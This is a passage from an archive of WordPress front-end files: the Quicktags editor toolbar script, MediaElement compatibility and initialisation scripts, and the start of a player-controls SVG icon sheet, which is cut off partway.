append a toolbar above it. This script is self-contained (does not require external libraries). * * Run quicktags(settings) to initialize it, where settings is an object containing up to 3 properties: * settings = { * id : 'my_id', the HTML ID of the textarea, required * buttons: '' Comma separated list of the names of the default buttons to show. Optional. * Current list of default button names: 'strong,em,link,block,del,ins,img,ul,ol,li,code,more,close'; * } * * The settings can also be a string quicktags_id. * * quicktags_id string The ID of the textarea that will be the editor canvas * buttons string Comma separated list of the default buttons names that will be shown in that instance. * * @output wp-includes/js/quicktags.js */ // New edit toolbar used with permission // by Alex King // http://www.alexking.org/ /* global adminpage, wpActiveEditor, quicktagsL10n, wpLink, prompt, edButtons */ window.edButtons = []; /* jshint ignore:start */ /** * Back-compat * * Define all former global functions so plugins that hack quicktags.js directly don't cause fatal errors. */ window.edAddTag = function(){}; window.edCheckOpenTags = function(){}; window.edCloseAllTags = function(){}; window.edInsertImage = function(){}; window.edInsertLink = function(){}; window.edInsertTag = function(){}; window.edLink = function(){}; window.edQuickLink = function(){}; window.edRemoveTag = function(){}; window.edShowButton = function(){}; window.edShowLinks = function(){}; window.edSpell = function(){}; window.edToolbar = function(){}; /* jshint ignore:end */ (function(){ // Private stuff is prefixed with an underscore. var _domReady = function(func) { var t, i, DOMContentLoaded, _tryReady; if ( typeof jQuery !== 'undefined' ) { jQuery( func ); } else { t = _domReady; t.funcs = []; t.ready = function() { if ( ! t.isReady ) { t.isReady = true; for ( i = 0; i < t.funcs.length; i++ ) { t.funcs[i](); } } }; if ( t.isReady ) { func(); } else { t.funcs.push(func); } if ( ! t.eventAttached ) { if ( document.addEventListener ) { DOMContentLoaded = function(){document.removeEventListener('DOMContentLoaded', DOMContentLoaded, false);t.ready();}; document.addEventListener('DOMContentLoaded', DOMContentLoaded, false); window.addEventListener('load', t.ready, false); } else if ( document.attachEvent ) { DOMContentLoaded = function(){if (document.readyState === 'complete'){ document.detachEvent('onreadystatechange', DOMContentLoaded);t.ready();}}; document.attachEvent('onreadystatechange', DOMContentLoaded); window.attachEvent('onload', t.ready); _tryReady = function() { try { document.documentElement.doScroll('left'); } catch(e) { setTimeout(_tryReady, 50); return; } t.ready(); }; _tryReady(); } t.eventAttached = true; } } }, _datetime = (function() { var now = new Date(), zeroise; zeroise = function(number) { var str = number.toString(); if ( str.length < 2 ) { str = '0' + str; } return str; }; return now.getUTCFullYear() + '-' + zeroise( now.getUTCMonth() + 1 ) + '-' + zeroise( now.getUTCDate() ) + 'T' + zeroise( now.getUTCHours() ) + ':' + zeroise( now.getUTCMinutes() ) + ':' + zeroise( now.getUTCSeconds() ) + '+00:00'; })(); var qt = window.QTags = function(settings) { if ( typeof(settings) === 'string' ) { settings = {id: settings}; } else if ( typeof(settings) !== 'object' ) { return false; } var t = this, id = settings.id, canvas = document.getElementById(id), name = 'qt_' + id, tb, onclick, toolbar_id, wrap, setActiveEditor; if ( !id || !canvas ) { return false; } t.name = name; t.id = id; t.canvas = canvas; t.settings = settings; if ( id === 'content' && typeof(adminpage) === 'string' && ( adminpage === 'post-new-php' || adminpage === 'post-php' ) ) { // Back compat hack :-( window.edCanvas = canvas; toolbar_id = 'ed_toolbar'; } else { toolbar_id = name + '_toolbar'; } tb = document.getElementById( toolbar_id ); if ( ! tb ) { tb = document.createElement('div'); tb.id = toolbar_id; tb.className = 'quicktags-toolbar'; } canvas.parentNode.insertBefore(tb, canvas); t.toolbar = tb; // Listen for click events. onclick = function(e) { e = e || window.event; var target = e.target || e.srcElement, visible = target.clientWidth || target.offsetWidth, i; // Don't call the callback on pressing the accesskey when the button is not visible. if ( !visible ) { return; } // As long as it has the class ed_button, execute the callback. if ( / ed_button /.test(' ' + target.className + ' ') ) { // We have to reassign canvas here. t.canvas = canvas = document.getElementById(id); i = target.id.replace(name + '_', ''); if ( t.theButtons[i] ) { t.theButtons[i].callback.call(t.theButtons[i], target, canvas, t); } } }; setActiveEditor = function() { window.wpActiveEditor = id; }; wrap = document.getElementById( 'wp-' + id + '-wrap' ); if ( tb.addEventListener ) { tb.addEventListener( 'click', onclick, false ); if ( wrap ) { wrap.addEventListener( 'click', setActiveEditor, false ); } } else if ( tb.attachEvent ) { tb.attachEvent( 'onclick', onclick ); if ( wrap ) { wrap.attachEvent( 'onclick', setActiveEditor ); } } t.getButton = function(id) { return t.theButtons[id]; }; t.getButtonElement = function(id) { return document.getElementById(name + '_' + id); }; t.init = function() { _domReady( function(){ qt._buttonsInit( id ); } ); }; t.remove = function() { delete qt.instances[id]; if ( tb && tb.parentNode ) { tb.parentNode.removeChild( tb ); } }; qt.instances[id] = t; t.init(); }; function _escape( text ) { text = text || ''; text = text.replace( /&([^#])(?![a-z1-4]{1,8};)/gi, '&$1' ); return text.replace( /</g, '<' ).replace( />/g, '>' ).replace( /"/g, '"' ).replace( /'/g, ''' ); } qt.instances = {}; qt.getInstance = function(id) { return qt.instances[id]; }; qt._buttonsInit = function( id ) { var t = this; function _init( instanceId ) { var canvas, name, settings, theButtons, html, ed, id, i, use, defaults = ',strong,em,link,block,del,ins,img,ul,ol,li,code,more,close,'; ed = t.instances[instanceId]; canvas = ed.canvas; name = ed.name; settings = ed.settings; html = ''; theButtons = {}; use = ''; // Set buttons. if ( settings.buttons ) { use = ','+settings.buttons+','; } for ( i in edButtons ) { if ( ! edButtons[i] ) { continue; } id = edButtons[i].id; if ( use && defaults.indexOf( ',' + id + ',' ) !== -1 && use.indexOf( ',' + id + ',' ) === -1 ) { continue; } if ( ! edButtons[i].instance || edButtons[i].instance === instanceId ) { theButtons[id] = edButtons[i]; if ( edButtons[i].html ) { html += edButtons[i].html( name + '_' ); } } } if ( use && use.indexOf(',dfw,') !== -1 ) { theButtons.dfw = new qt.DFWButton(); html += theButtons.dfw.html( name + '_' ); } if ( 'rtl' === document.getElementsByTagName( 'html' )[0].dir ) { theButtons.textdirection = new qt.TextDirectionButton(); html += theButtons.textdirection.html( name + '_' ); } ed.toolbar.innerHTML = html; ed.theButtons = theButtons; if ( typeof jQuery !== 'undefined' ) { jQuery( document ).triggerHandler( 'quicktags-init', [ ed ] ); } } if ( id ) { _init( id ); } else { for ( id in t.instances ) { _init( id ); } } t.buttonsInitDone = true; }; /** * Main API function for adding a button to Quicktags * * Adds qt.Button or qt.TagButton depending on the args. The first three args are always required. * To be able to add button(s) to Quicktags, your script should be enqueued as dependent * on "quicktags" and outputted in the footer. If you are echoing JS directly from PHP, * use add_action( 'admin_print_footer_scripts', 'output_my_js', 100 ) or add_action( 'wp_footer', 'output_my_js', 100 ) * * Minimum required to add a button that calls an external function: * QTags.addButton( 'my_id', 'my button', my_callback ); * function my_callback() { alert('yeah!'); } * * Minimum required to add a button that inserts a tag: * QTags.addButton( 'my_id', 'my button', '<span>', '</span>' ); * QTags.addButton( 'my_id2', 'my button', '<br />' ); * * @param string id Required. Button HTML ID * @param string display Required. Button's value="..." * @param string|function arg1 Required. Either a starting tag to be inserted like "<span>" or a callback that is executed when the button is clicked. * @param string arg2 Optional. Ending tag like "</span>" * @param string access_key Deprecated Not used * @param string title Optional. Button's title="..." * @param int priority Optional. Number representing the desired position of the button in the toolbar. 1 - 9 = first, 11 - 19 = second, 21 - 29 = third, etc. * @param string instance Optional. Limit the button to a specific instance of Quicktags, add to all instances if not present. * @param attr object Optional. Used to pass additional attributes. Currently supports `ariaLabel` and `ariaLabelClose` (for "close tag" state) * @return mixed null or the button object that is needed for back-compat. */ qt.addButton = function( id, display, arg1, arg2, access_key, title, priority, instance, attr ) { var btn; if ( !id || !display ) { return; } priority = priority || 0; arg2 = arg2 || ''; attr = attr || {}; if ( typeof(arg1) === 'function' ) { btn = new qt.Button( id, display, access_key, title, instance, attr ); btn.callback = arg1; } else if ( typeof(arg1) === 'string' ) { btn = new qt.TagButton( id, display, arg1, arg2, access_key, title, instance, attr ); } else { return; } if ( priority === -1 ) { // Back-compat. return btn; } if ( priority > 0 ) { while ( typeof(edButtons[priority]) !== 'undefined' ) { priority++; } edButtons[priority] = btn; } else { edButtons[edButtons.length] = btn; } if ( this.buttonsInitDone ) { this._buttonsInit(); // Add the button HTML to all instances toolbars if addButton() was called too late. } }; qt.insertContent = function(content) { var sel, startPos, endPos, scrollTop, text, canvas = document.getElementById(wpActiveEditor), event; if ( !canvas ) { return false; } if ( document.selection ) { // IE. canvas.focus(); sel = document.selection.createRange(); sel.text = content; canvas.focus(); } else if ( canvas.selectionStart || canvas.selectionStart === 0 ) { // FF, WebKit, Opera. text = canvas.value; startPos = canvas.selectionStart; endPos = canvas.selectionEnd; scrollTop = canvas.scrollTop; canvas.value = text.substring(0, startPos) + content + text.substring(endPos, text.length); canvas.selectionStart = startPos + content.length; canvas.selectionEnd = startPos + content.length; canvas.scrollTop = scrollTop; canvas.focus(); } else { canvas.value += content; canvas.focus(); } if ( document.createEvent ) { event = document.createEvent( 'HTMLEvents' ); event.initEvent( 'change', false, true ); canvas.dispatchEvent( event ); } else if ( canvas.fireEvent ) { canvas.fireEvent( 'onchange' ); } return true; }; // A plain, dumb button. qt.Button = function( id, display, access, title, instance, attr ) { this.id = id; this.display = display; this.access = ''; this.title = title || ''; this.instance = instance || ''; this.attr = attr || {}; }; qt.Button.prototype.html = function(idPrefix) { var active, on, wp, title = this.title ? ' title="' + _escape( this.title ) + '"' : '', ariaLabel = this.attr && this.attr.ariaLabel ? ' aria-label="' + _escape( this.attr.ariaLabel ) + '"' : '', val = this.display ? ' value="' + _escape( this.display ) + '"' : '', id = this.id ? ' id="' + _escape( idPrefix + this.id ) + '"' : '', dfw = ( wp = window.wp ) && wp.editor && wp.editor.dfw; if ( this.id === 'fullscreen' ) { return '<button type="button"' + id + ' class="ed_button qt-dfw qt-fullscreen"' + title + ariaLabel + '></button>'; } else if ( this.id === 'dfw' ) { active = dfw && dfw.isActive() ? '' : ' disabled="disabled"'; on = dfw && dfw.isOn() ? ' active' : ''; return '<button type="button"' + id + ' class="ed_button qt-dfw' + on + '"' + title + ariaLabel + active + '></button>'; } return '<input type="button"' + id + ' class="ed_button button button-small"' + title + ariaLabel + val + ' />'; }; qt.Button.prototype.callback = function(){}; // A button that inserts HTML tag. qt.TagButton = function( id, display, tagStart, tagEnd, access, title, instance, attr ) { var t = this; qt.Button.call( t, id, display, access, title, instance, attr ); t.tagStart = tagStart; t.tagEnd = tagEnd; }; qt.TagButton.prototype = new qt.Button(); qt.TagButton.prototype.openTag = function( element, ed ) { if ( ! ed.openTags ) { ed.openTags = []; } if ( this.tagEnd ) { ed.openTags.push( this.id ); element.value = '/' + element.value; if ( this.attr.ariaLabelClose ) { element.setAttribute( 'aria-label', this.attr.ariaLabelClose ); } } }; qt.TagButton.prototype.closeTag = function( element, ed ) { var i = this.isOpen(ed); if ( i !== false ) { ed.openTags.splice( i, 1 ); } element.value = this.display; if ( this.attr.ariaLabel ) { element.setAttribute( 'aria-label', this.attr.ariaLabel ); } }; // Whether a tag is open or not. Returns false if not open, or current open depth of the tag. qt.TagButton.prototype.isOpen = function (ed) { var t = this, i = 0, ret = false; if ( ed.openTags ) { while ( ret === false && i < ed.openTags.length ) { ret = ed.openTags[i] === t.id ? i : false; i ++; } } else { ret = false; } return ret; }; qt.TagButton.prototype.callback = function(element, canvas, ed) { var t = this, startPos, endPos, cursorPos, scrollTop, v = canvas.value, l, r, i, sel, endTag = v ? t.tagEnd : '', event; if ( document.selection ) { // IE. canvas.focus(); sel = document.selection.createRange(); if ( sel.text.length > 0 ) { if ( !t.tagEnd ) { sel.text = sel.text + t.tagStart; } else { sel.text = t.tagStart + sel.text + endTag; } } else { if ( !t.tagEnd ) { sel.text = t.tagStart; } else if ( t.isOpen(ed) === false ) { sel.text = t.tagStart; t.openTag(element, ed); } else { sel.text = endTag; t.closeTag(element, ed); } } canvas.focus(); } else if ( canvas.selectionStart || canvas.selectionStart === 0 ) { // FF, WebKit, Opera. startPos = canvas.selectionStart; endPos = canvas.selectionEnd; if ( startPos < endPos && v.charAt( endPos - 1 ) === '\n' ) { endPos -= 1; } cursorPos = endPos; scrollTop = canvas.scrollTop; l = v.substring(0, startPos); // Left of the selection. r = v.substring(endPos, v.length); // Right of the selection. i = v.substring(startPos, endPos); // Inside the selection. if ( startPos !== endPos ) { if ( !t.tagEnd ) { canvas.value = l + i + t.tagStart + r; // Insert self-closing tags after the selection. cursorPos += t.tagStart.length; } else { canvas.value = l + t.tagStart + i + endTag + r; cursorPos += t.tagStart.length + endTag.length; } } else { if ( !t.tagEnd ) { canvas.value = l + t.tagStart + r; cursorPos = startPos + t.tagStart.length; } else if ( t.isOpen(ed) === false ) { canvas.value = l + t.tagStart + r; t.openTag(element, ed); cursorPos = startPos + t.tagStart.length; } else { canvas.value = l + endTag + r; cursorPos = startPos + endTag.length; t.closeTag(element, ed); } } canvas.selectionStart = cursorPos; canvas.selectionEnd = cursorPos; canvas.scrollTop = scrollTop; canvas.focus(); } else { // Other browsers? if ( !endTag ) { canvas.value += t.tagStart; } else if ( t.isOpen(ed) !== false ) { canvas.value += t.tagStart; t.openTag(element, ed); } else { canvas.value += endTag; t.closeTag(element, ed); } canvas.focus(); } if ( document.createEvent ) { event = document.createEvent( 'HTMLEvents' ); event.initEvent( 'change', false, true ); canvas.dispatchEvent( event ); } else if ( canvas.fireEvent ) { canvas.fireEvent( 'onchange' ); } }; // Removed. qt.SpellButton = function() {}; // The close tags button. qt.CloseButton = function() { qt.Button.call( this, 'close', quicktagsL10n.closeTags, '', quicktagsL10n.closeAllOpenTags ); }; qt.CloseButton.prototype = new qt.Button(); qt._close = function(e, c, ed) { var button, element, tbo = ed.openTags; if ( tbo ) { while ( tbo.length > 0 ) { button = ed.getButton(tbo[tbo.length - 1]); element = document.getElementById(ed.name + '_' + button.id); if ( e ) { button.callback.call(button, element, c, ed); } else { button.closeTag(element, ed); } } } }; qt.CloseButton.prototype.callback = qt._close; qt.closeAllTags = function( editor_id ) { var ed = this.getInstance( editor_id ); if ( ed ) { qt._close( '', ed.canvas, ed ); } }; // The link button. qt.LinkButton = function() { var attr = { ariaLabel: quicktagsL10n.link }; qt.TagButton.call( this, 'link', 'link', '', '</a>', '', '', '', attr ); }; qt.LinkButton.prototype = new qt.TagButton(); qt.LinkButton.prototype.callback = function(e, c, ed, defaultValue) { var URL, t = this; if ( typeof wpLink !== 'undefined' ) { wpLink.open( ed.id ); return; } if ( ! defaultValue ) { defaultValue = 'http://'; } if ( t.isOpen(ed) === false ) { URL = prompt( quicktagsL10n.enterURL, defaultValue ); if ( URL ) { t.tagStart = '<a href="' + URL + '">'; qt.TagButton.prototype.callback.call(t, e, c, ed); } } else { qt.TagButton.prototype.callback.call(t, e, c, ed); } }; // The img button. qt.ImgButton = function() { var attr = { ariaLabel: quicktagsL10n.image }; qt.TagButton.call( this, 'img', 'img', '', '', '', '', '', attr ); }; qt.ImgButton.prototype = new qt.TagButton(); qt.ImgButton.prototype.callback = function(e, c, ed, defaultValue) { if ( ! defaultValue ) { defaultValue = 'http://'; } var src = prompt(quicktagsL10n.enterImageURL, defaultValue), alt; if ( src ) { alt = prompt(quicktagsL10n.enterImageDescription, ''); this.tagStart = '<img src="' + src + '" alt="' + alt + '" />'; qt.TagButton.prototype.callback.call(this, e, c, ed); } }; qt.DFWButton = function() { qt.Button.call( this, 'dfw', '', 'f', quicktagsL10n.dfw ); }; qt.DFWButton.prototype = new qt.Button(); qt.DFWButton.prototype.callback = function() { var wp; if ( ! ( wp = window.wp ) || ! wp.editor || ! wp.editor.dfw ) { return; } window.wp.editor.dfw.toggle(); }; qt.TextDirectionButton = function() { qt.Button.call( this, 'textdirection', quicktagsL10n.textdirection, '', quicktagsL10n.toggleTextdirection ); }; qt.TextDirectionButton.prototype = new qt.Button(); qt.TextDirectionButton.prototype.callback = function(e, c) { var isRTL = ( 'rtl' === document.getElementsByTagName('html')[0].dir ), currentDirection = c.style.direction; if ( ! currentDirection ) { currentDirection = ( isRTL ) ? 'rtl' : 'ltr'; } c.style.direction = ( 'rtl' === currentDirection ) ? 'ltr' : 'rtl'; c.focus(); }; // Ensure backward compatibility. edButtons[10] = new qt.TagButton( 'strong', 'b', '<strong>', '</strong>', '', '', '', { ariaLabel: quicktagsL10n.strong, ariaLabelClose: quicktagsL10n.strongClose } ); edButtons[20] = new qt.TagButton( 'em', 'i', '<em>', '</em>', '', '', '', { ariaLabel: quicktagsL10n.em, ariaLabelClose: quicktagsL10n.emClose } ); edButtons[30] = new qt.LinkButton(); // Special case. edButtons[40] = new qt.TagButton( 'block', 'b-quote', '\n\n<blockquote>', '</blockquote>\n\n', '', '', '', { ariaLabel: quicktagsL10n.blockquote, ariaLabelClose: quicktagsL10n.blockquoteClose } ); edButtons[50] = new qt.TagButton( 'del', 'del', '<del datetime="' + _datetime + '">', '</del>', '', '', '', { ariaLabel: quicktagsL10n.del, ariaLabelClose: quicktagsL10n.delClose } ); edButtons[60] = new qt.TagButton( 'ins', 'ins', '<ins datetime="' + _datetime + '">', '</ins>', '', '', '', { ariaLabel: quicktagsL10n.ins, ariaLabelClose: quicktagsL10n.insClose } ); edButtons[70] = new qt.ImgButton(); // Special case. edButtons[80] = new qt.TagButton( 'ul', 'ul', '<ul>\n', '</ul>\n\n', '', '', '', { ariaLabel: quicktagsL10n.ul, ariaLabelClose: quicktagsL10n.ulClose } ); edButtons[90] = new qt.TagButton( 'ol', 'ol', '<ol>\n', '</ol>\n\n', '', '', '', { ariaLabel: quicktagsL10n.ol, ariaLabelClose: quicktagsL10n.olClose } ); edButtons[100] = new qt.TagButton( 'li', 'li', '\t<li>', '</li>\n', '', '', '', { ariaLabel: quicktagsL10n.li, ariaLabelClose: quicktagsL10n.liClose } ); edButtons[110] = new qt.TagButton( 'code', 'code', '<code>', '</code>', '', '', '', { ariaLabel: quicktagsL10n.code, ariaLabelClose: quicktagsL10n.codeClose } ); edButtons[120] = new qt.TagButton( 'more', 'more', '<!--more-->\n\n', '', '', '', '', { ariaLabel: quicktagsL10n.more } ); edButtons[140] = new qt.CloseButton(); })(); /** * Initialize new instance of the Quicktags editor */ window.quicktags = function(settings) { return new window.QTags(settings); }; /** * Inserts content at the caret in the active editor (textarea) * * Added for back compatibility * @see QTags.insertContent() */ window.edInsertContent = function(bah, txt) { return window.QTags.insertContent(txt); }; /** * Adds a button to all instances of the editor * * Added for back compatibility, use QTags.addButton() as it gives more flexibility like type of button, button placement, etc. * @see QTags.addButton() */ window.edButton = function(id, display, tagStart, tagEnd, access) { return window.QTags.addButton( id, display, tagStart, tagEnd, access, '', -1 ); }; �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/mediaelement/mediaelement-migrate.js�������������������������������������������������������������0000644�����������������00000005431�14717703502�0014237 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* global console, MediaElementPlayer, mejs */ (function ( window, $ ) { // Reintegrate `plugins` since they don't exist in MEJS anymore; it won't affect anything in the player if (mejs.plugins === undefined) { mejs.plugins = {}; mejs.plugins.silverlight = []; mejs.plugins.silverlight.push({ types: [] }); } // Inclusion of old `HtmlMediaElementShim` if it doesn't exist mejs.HtmlMediaElementShim = mejs.HtmlMediaElementShim || { getTypeFromFile: mejs.Utils.getTypeFromFile }; // Add missing global variables for backward compatibility if (mejs.MediaFeatures === undefined) { mejs.MediaFeatures = mejs.Features; } if (mejs.Utility === undefined) { mejs.Utility = mejs.Utils; } /** * Create missing variables and have default `classPrefix` overridden to avoid issues. * * `media` is now a fake wrapper needed to simplify manipulation of various media types, * so in order to access the `video` or `audio` tag, use `media.originalNode` or `player.node`; * `player.container` used to be jQuery but now is a HTML element, and many elements inside * the player rely on it being a HTML now, so its conversion is difficult; however, a * `player.$container` new variable has been added to be used as jQuery object */ var init = MediaElementPlayer.prototype.init; MediaElementPlayer.prototype.init = function () { this.options.classPrefix = 'mejs-'; this.$media = this.$node = $( this.node ); init.call( this ); }; var ready = MediaElementPlayer.prototype._meReady; MediaElementPlayer.prototype._meReady = function () { this.container = $( this.container) ; this.controls = $( this.controls ); this.layers = $( this.layers ); ready.apply( this, arguments ); }; // Override method so certain elements can be called with jQuery MediaElementPlayer.prototype.getElement = function ( el ) { return $ !== undefined && el instanceof $ ? el[0] : el; }; // Add jQuery ONLY to most of custom features' arguments for backward compatibility; default features rely 100% // on the arguments being HTML elements to work properly MediaElementPlayer.prototype.buildfeatures = function ( player, controls, layers, media ) { var defaultFeatures = [ 'playpause', 'current', 'progress', 'duration', 'tracks', 'volume', 'fullscreen' ]; for (var i = 0, total = this.options.features.length; i < total; i++) { var feature = this.options.features[i]; if (this['build' + feature]) { try { // Use jQuery for non-default features if (defaultFeatures.indexOf(feature) === -1) { this['build' + feature]( player, $(controls), $(layers), media ); } else { this['build' + feature]( player, controls, layers, media ); } } catch (e) { console.error( 'error building ' + feature, e ); } } } }; })( window, jQuery ); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/mediaelement/wp-mediaelement.js������������������������������������������������������������������0000644�����������������00000004473�14717703502�0013242 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* global _wpmejsSettings, mejsL10n */ (function( window, $ ) { window.wp = window.wp || {}; function wpMediaElement() { var settings = {}; /** * Initialize media elements. * * Ensures media elements that have already been initialized won't be * processed again. * * @memberOf wp.mediaelement * * @since 4.4.0 * * @return {void} */ function initialize() { if ( typeof _wpmejsSettings !== 'undefined' ) { settings = $.extend( true, {}, _wpmejsSettings ); } settings.classPrefix = 'mejs-'; settings.success = settings.success || function ( mejs ) { var autoplay, loop; if ( mejs.rendererName && -1 !== mejs.rendererName.indexOf( 'flash' ) ) { autoplay = mejs.attributes.autoplay && 'false' !== mejs.attributes.autoplay; loop = mejs.attributes.loop && 'false' !== mejs.attributes.loop; if ( autoplay ) { mejs.addEventListener( 'canplay', function() { mejs.play(); }, false ); } if ( loop ) { mejs.addEventListener( 'ended', function() { mejs.play(); }, false ); } } }; /** * Custom error handler. * * Sets up a custom error handler in case a video render fails, and provides a download * link as the fallback. * * @since 4.9.3 * * @param {object} media The wrapper that mimics all the native events/properties/methods for all renderers. * @param {object} node The original HTML video, audio, or iframe tag where the media was loaded. * @return {string} */ settings.customError = function ( media, node ) { // Make sure we only fall back to a download link for flash files. if ( -1 !== media.rendererName.indexOf( 'flash' ) || -1 !== media.rendererName.indexOf( 'flv' ) ) { return '<a href="' + node.src + '">' + mejsL10n.strings['mejs.download-file'] + '</a>'; } }; // Only initialize new media elements. $( '.wp-audio-shortcode, .wp-video-shortcode' ) .not( '.mejs-container' ) .filter(function () { return ! $( this ).parent().hasClass( 'mejs-mediaelement' ); }) .mediaelementplayer( settings ); } return { initialize: initialize }; } /** * @namespace wp.mediaelement * @memberOf wp */ window.wp.mediaelement = new wpMediaElement(); $( window.wp.mediaelement.initialize ); })( window, jQuery ); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/mediaelement/mejs-controls.svg�������������������������������������������������������������������0000644�����������������00000010766�14717703502�0013151 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<svg xmlns="http://www.w3.org/2000/svg" width="400" height="120" viewBox="0 0 400 120"><style>.st0{fill:#FFFFFF;width:16px;height:16px} .st1{fill:none;stroke:#FFFFFF;stroke-width:1.5;stroke-linecap:round;} .st2{fill:none;stroke:#FFFFFF;stroke-width:2;stroke-linecap:round;} .st3{fill:none;stroke:#FFFFFF;} .st4{fill:#231F20;} .st5{opacity:0.75;fill:none;stroke:#FFFFFF;stroke-width:5;enable-background:new;} .st6{fill:none;stroke:#FFFFFF;stroke-width:5;} .st7{opacity:0.4;fill:#FFFFFF;enable-background:new;} .st8{opacity:0.6;fill:#FFFFFF;enable-background:new;} .st9{opacity:0.8;fill:#FFFFFF;enable-background:new;} .st10{opacity:0.9;fill:#FFFFFF;enable-background:new;} .st11{opacity:0.3;fill:#FFFFFF;enable-background:new;} .st12{opacity:0.5;fill:#FFFFFF;enable-background:new;} .st13{opacity:0.7;fill:#FFFFFF;enable-background:new;}</style><path class="st0" d="M16.5 8.5c.3.1.4.5.2.8-.1.1-.1.2-.2.2l-11.4 7c-.5.3-.8.1-.8-.5V2c0-.5.4-.8.8-.5l11.4 7z"/><path class="st0" d="M24 1h2.2c.6 0 1 .4 1 1v14c0 .6-.4 1-1 1H24c-.6 0-1-.4-1-1V2c0-.5.4-1 1-1zm9.8 0H36c.6 0 1 .4 1 1v14c0 .6-.4 1-1 1h-2.2c-.6 0-1-.4-1-1V2c0-.5.4-1 1-1z"/><path class="st0" d="M81 1.4c0-.6.4-1 1-1h5.4c.6 0 .7.3.3.7l-6 6c-.4.4-.7.3-.7-.3V1.4zm0 15.8c0 .6.4 1 1 1h5.4c.6 0 .7-.3.3-.7l-6-6c-.4-.4-.7-.3-.7.3v5.4zM98.8 1.4c0-.6-.4-1-1-1h-5.4c-.6 0-.7.3-.3.7l6 6c.4.4.7.3.7-.3V1.4zm0 15.8c0 .6-.4 1-1 1h-5.4c-.6 0-.7-.3-.3-.7l6-6c.4-.4.7-.3.7.3v5.4z"/><path class="st0" d="M112.7 5c0 .6.4 1 1 1h4.1c.6 0 .7-.3.3-.7L113.4.6c-.4-.4-.7-.3-.7.3V5zm-7.1 1c.6 0 1-.4 1-1V.9c0-.6-.3-.7-.7-.3l-4.7 4.7c-.4.4-.3.7.3.7h4.1zm1 7.1c0-.6-.4-1-1-1h-4.1c-.6 0-.7.3-.3.7l4.7 4.7c.4.4.7.3.7-.3v-4.1zm7.1-1c-.6 0-1 .4-1 1v4.1c0 .5.3.7.7.3l4.7-4.7c.4-.4.3-.7-.3-.7h-4.1z"/><path class="st0" d="M67 5.8c-.5.4-1.2.6-1.8.6H62c-.6 0-1 .4-1 1v5.7c0 .6.4 1 1 1h4.2c.3.2.5.4.8.6l3.5 2.6c.4.3.8.1.8-.4V3.5c0-.5-.4-.7-.8-.4L67 5.8z"/><path class="st1" d="M73.9 2.5s3.9-.8 3.9 7.7-3.9 7.8-3.9 7.8"/><path class="st1" d="M72.6 6.4s2.6-.4 2.6 3.8-2.6 3.9-2.6 3.9"/><path class="st0" d="M47 5.8c-.5.4-1.2.6-1.8.6H42c-.6 0-1 .4-1 1v5.7c0 .6.4 1 1 1h4.2c.3.2.5.4.8.6l3.5 2.6c.4.3.8.1.8-.4V3.5c0-.5-.4-.7-.8-.4L47 5.8z"/><path class="st2" d="M52.8 7l5.4 5.4m-5.4 0L58.2 7"/><path class="st3" d="M128.7 8.6c-6.2-4.2-6.5 7.8 0 3.9m6.5-3.9c-6.2-4.2-6.5 7.8 0 3.9"/><path class="st0" d="M122.2 3.4h15.7v13.1h-15.7V3.4zM120.8 2v15.7h18.3V2h-18.3z"/><path class="st0" d="M143.2 3h14c1.1 0 2 .9 2 2v10c0 1.1-.9 2-2 2h-14c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2z"/><path class="st4" d="M146.4 13.8c-.8 0-1.6-.4-2.1-1-1.1-1.4-1-3.4.1-4.8.5-.6 2-1.7 4.6.2l-.6.8c-1.4-1-2.6-1.1-3.3-.3-.8 1-.8 2.4-.1 3.5.7.9 1.9.8 3.4-.1l.5.9c-.7.5-1.6.7-2.5.8zm7.5 0c-.8 0-1.6-.4-2.1-1-1.1-1.4-1-3.4.1-4.8.5-.6 2-1.7 4.6.2l-.5.8c-1.4-1-2.6-1.1-3.3-.3-.8 1-.8 2.4-.1 3.5.7.9 1.9.8 3.4-.1l.5.9c-.8.5-1.7.7-2.6.8z"/><path class="st0" d="M60.3 77c.6.2.8.8.6 1.4-.1.3-.3.5-.6.6L30 96.5c-1 .6-1.7.1-1.7-1v-35c0-1.1.8-1.5 1.7-1L60.3 77z"/><path class="st5" d="M2.5 79c0-20.7 16.8-37.5 37.5-37.5S77.5 58.3 77.5 79 60.7 116.5 40 116.5 2.5 99.7 2.5 79z"/><path class="st0" d="M140.3 77c.6.2.8.8.6 1.4-.1.3-.3.5-.6.6L110 96.5c-1 .6-1.7.1-1.7-1v-35c0-1.1.8-1.5 1.7-1L140.3 77z"/><path class="st6" d="M82.5 79c0-20.7 16.8-37.5 37.5-37.5s37.5 16.8 37.5 37.5-16.8 37.5-37.5 37.5S82.5 99.7 82.5 79z"/><circle class="st0" cx="201.9" cy="47.1" r="8.1"/><circle class="st7" cx="233.9" cy="79" r="5"/><circle class="st8" cx="201.9" cy="110.9" r="6"/><circle class="st9" cx="170.1" cy="79" r="7"/><circle class="st10" cx="178.2" cy="56.3" r="7.5"/><circle class="st11" cx="226.3" cy="56.1" r="4.5"/><circle class="st12" cx="225.8" cy="102.8" r="5.5"/><circle class="st13" cx="178.2" cy="102.8" r="6.5"/><path class="st0" d="M178 9.4c0 .4-.4.7-.9.7-.1 0-.2 0-.2-.1L172 8.2c-.5-.2-.6-.6-.1-.8l6.2-3.6c.5-.3.8-.1.7.5l-.8 5.1z"/><path class="st0" d="M169.4 15.9c-1 0-2-.2-2.9-.7-2-1-3.2-3-3.2-5.2.1-3.4 2.9-6 6.3-6 2.5.1 4.8 1.7 5.6 4.1l.1-.1 2.1 1.1c-.6-4.4-4.7-7.5-9.1-6.9-3.9.6-6.9 3.9-7 7.9 0 2.9 1.7 5.6 4.3 7 1.2.6 2.5.9 3.8 1 2.6 0 5-1.2 6.6-3.3l-1.8-.9c-1.2 1.2-3 2-4.8 2z"/><path class="st0" d="M183.4 3.2c.8 0 1.5.7 1.5 1.5s-.7 1.5-1.5 1.5-1.5-.7-1.5-1.5c0-.9.7-1.5 1.5-1.5zm5.1 0h8.5c.9 0 